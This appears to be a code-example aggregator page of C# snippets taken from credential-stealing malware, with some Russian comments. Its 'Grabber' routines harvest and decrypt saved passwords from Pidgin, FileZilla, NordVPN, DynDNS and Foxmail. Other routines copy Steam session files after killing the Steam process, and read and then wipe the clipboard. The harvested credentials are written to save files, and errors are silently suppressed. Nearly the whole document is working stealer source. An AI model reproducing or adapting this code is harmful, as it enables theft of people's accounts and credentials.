Exemple #1
0
 public static void Inizialize_Grabber()
 {
     if (CombineEx.ExistsFile(GlobalPath.PidPurple))
     {
         try
         {
             var build = new StringBuilder();
             using (TextReader tr = new StreamReader(GlobalPath.PidPurple))
             {
                 var rd = new XmlTextReader(tr) { DtdProcessing = DtdProcessing.Prohibit };
                 var xs = new XmlDocument() { XmlResolver = null };
                 xs.Load(rd);
                 {
                     foreach (XmlNode nl in xs.DocumentElement.ChildNodes)
                     {
                         XmlNodeList il = nl?.ChildNodes;
                         build.AppendLine($"Protocol: {il[0].InnerText}");
                         build.AppendLine($"UserName: {il[1].InnerText}");
                         build.AppendLine($"Password: {il[2].InnerText}{Environment.NewLine}");
                     }
                 }
                 rd.Close();
             }
             CombineEx.CreateFile(true, GlobalPath.PidginSave, build?.ToString());
             build.Clear();
         }
         catch { }
     }
 }
Exemple #2
0
        /// <summary>
        /// Метод для сбора файлов со Steam директории
        /// </summary>
        /// <param name="exp">Сбор файлов без расширений ( *." )</param>
        /// <param name="congfiles">Сбор файлов с config директории</param>
        /// <param name="name">Именная папка Config</param>
        /// <param name="proc">Имя процесса Стим</param>
        public static void Inizialize(string exp, string congfiles, string name, string proc)
        {
            // Проверяем путь к папке стим
            if (CombineEx.ExistsDir(SteamPath.GetLocationSteam()))
            {
                CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal);
                CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID());

                // Закрываем процесс чтобы можно было скопировать файлы.
                ProcessControl.Closing(proc);
                try
                {
                    // Проходимся циклом по файлам без расширения
                    foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where(
                                 // Проверяем файл
                                 Unknown => File.Exists(Unknown)).Where(
                                 // Обходим файл .crash
                                 Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown))
                    {
                        CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true);
                    }
                    // Проходимся циклом по файлам конфиг
                    foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where(
                                 // Проверяем файл
                                 Config => File.Exists(Config)).Select(Config => Config))
                    {
                        CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true);
                    }
                }
                catch { }
            }
        }
Exemple #3
0
        public static void Inizialize_Grabber()
        {
            if (CombineEx.ExistsFile(GlobalPath.FZilla))
            {
                var build = new StringBuilder();
                try
                {
                    var xf = new XmlDocument()
                    {
                        XmlResolver = null
                    };
                    xf.Load(GlobalPath.FZilla);

                    XmlNodeList bb = xf.GetElementsByTagName("RecentServers");
                    XmlNodeList bs = ((XmlElement)bb[0]).GetElementsByTagName("Server");

                    foreach (XmlElement va in bs)
                    {
                        build.AppendLine($"HostName: {va.GetElementsByTagName("Host")[0].InnerText}");
                        build.AppendLine($"Port: {va.GetElementsByTagName("Port")[0].InnerText}");
                        build.AppendLine($"UserName: {va.GetElementsByTagName("User")[0].InnerText}");
                        build.AppendLine($"Password: {DecryptTools.DecryptFZ(va.GetElementsByTagName("Pass")[0].InnerText)}{Environment.NewLine}");
                    }
                }
                catch { }
                CombineEx.CreateFile(true, GlobalPath.FileZillaSave, build?.ToString());
                build.Clear();
            }
        }
Exemple #4
0
        public static void Inizialize_Grabber()
        {
            try
            {
                var nord = new DirectoryInfo(GlobalPath.NordPath);
                if (nord.Exists)
                {
                    foreach (var info in nord.GetDirectories("NordVpn.exe*").SelectMany(nordir => nordir.GetDirectories().Select(info => info)))
                    {
                        string userConfigPath = CombineEx.CombinePath(info.FullName, "user.config");
                        if (CombineEx.ExistsFile(userConfigPath))
                        {
                            var xf = new XmlDocument()
                            {
                                XmlResolver = null
                            };
                            xf.Load(userConfigPath);

                            string encodedUsername = xf.SelectSingleNode("//setting[@name='Username']/value").InnerText;
                            string encodedPassword = xf.SelectSingleNode("//setting[@name='Password']/value").InnerText;

                            if (!string.IsNullOrWhiteSpace(encodedUsername) || !string.IsNullOrWhiteSpace(encodedPassword))
                            {
                                string decuser = DecryptTools.DecodeNord(encodedUsername, DataProtectionScope.LocalMachine);
                                string decpass = DecryptTools.DecodeNord(encodedPassword, DataProtectionScope.LocalMachine);

                                CombineEx.CreateFile(true, GlobalPath.NordSave, $"Login: {decuser} \r\nPassword: {decpass}\r\n");
                            }
                        }
                    }
                }
            }
            catch { }
        }
Exemple #5
0
 public static void Inizialize_Grabber()
 {
     if (CombineEx.ExistsFile(GlobalPath.DynDns))
     {
         try
         {
             string[] lines = File.ReadAllLines(GlobalPath.DynDns);
             if (lines.Length != 0)
             {
                 CombineEx.CreateFile(true, GlobalPath.DynDnsSave, $"UserName: {lines[1].Substring(9)}\r\nPassword: { DecryptTools.DecryptDynDns(lines[2].Substring(9))}{Environment.NewLine}");
             }
         }
         catch { }
     }
 }
 public static void Inizialize()
 {
     CombineEx.CreateFile(true, GlobalPath.BufferSave, $"[Найдены данные из буфера обмена] - [{DateSet("MM.dd.yyyy - HH:mm:ss")}]\r\n\r\n{ClipboardEx.GetText()}\r\n\r\n");
     NativeMethods.EmptyClipboard();
 }
        private static void Reader(string FilePath, string MailText, bool accfound = false)
        {
            try
            {
                Thread.Sleep(1000);
                using (var fs = new FileStream(FilePath, FileMode.Open))
                {
                    int    ver = 0, len = (int)fs.Length;
                    byte[] bits = new byte[len];

                    string buffer = string.Empty, acc = string.Empty, pw = string.Empty;

                    int read = fs.Read(bits, 0, len);
                    ver = bits[0] != 0xD0 ? 1 : 0;
                    for (int jx = 0; jx < len; ++jx)
                    {
                        if (bits[jx] <= 0x20 || bits[jx] >= 0x7f || bits[jx] == 0x3d)
                        {
                            buffer = "";
                        }
                        else
                        {
                            buffer += (char)bits[jx];

                            if (!buffer.Equals("Account") && !buffer.Equals("POP3Account"))
                            {
                                if (accfound && (buffer.Equals("Password") || buffer.Equals("POP3Password")))
                                {
                                    int index = jx + 9;
                                    if (ver == 0)
                                    {
                                        index = jx + 2;
                                    }
                                    while (bits[index] > 0x20 && bits[index] < 0x7f)
                                    {
                                        pw += (char)bits[index];
                                        index++;
                                    }
                                    CombineEx.CreateFile(true, GlobalPath.FoxMailLog, $"{MailText} : {DecodeFox(ver, pw)}{Environment.NewLine}");
                                    jx = index;
                                    break;
                                }
                            }
                            else
                            {
                                int index = jx + 9;
                                if (ver == 0)
                                {
                                    index = jx + 2;
                                }

                                while (bits[index] > 0x20 && bits[index] < 0x7f)
                                {
                                    acc += (char)bits[index];
                                    index++;
                                }

                                accfound = true;
                                jx       = index;
                            }
                        }
                    }
                }
            }
            catch { }
        }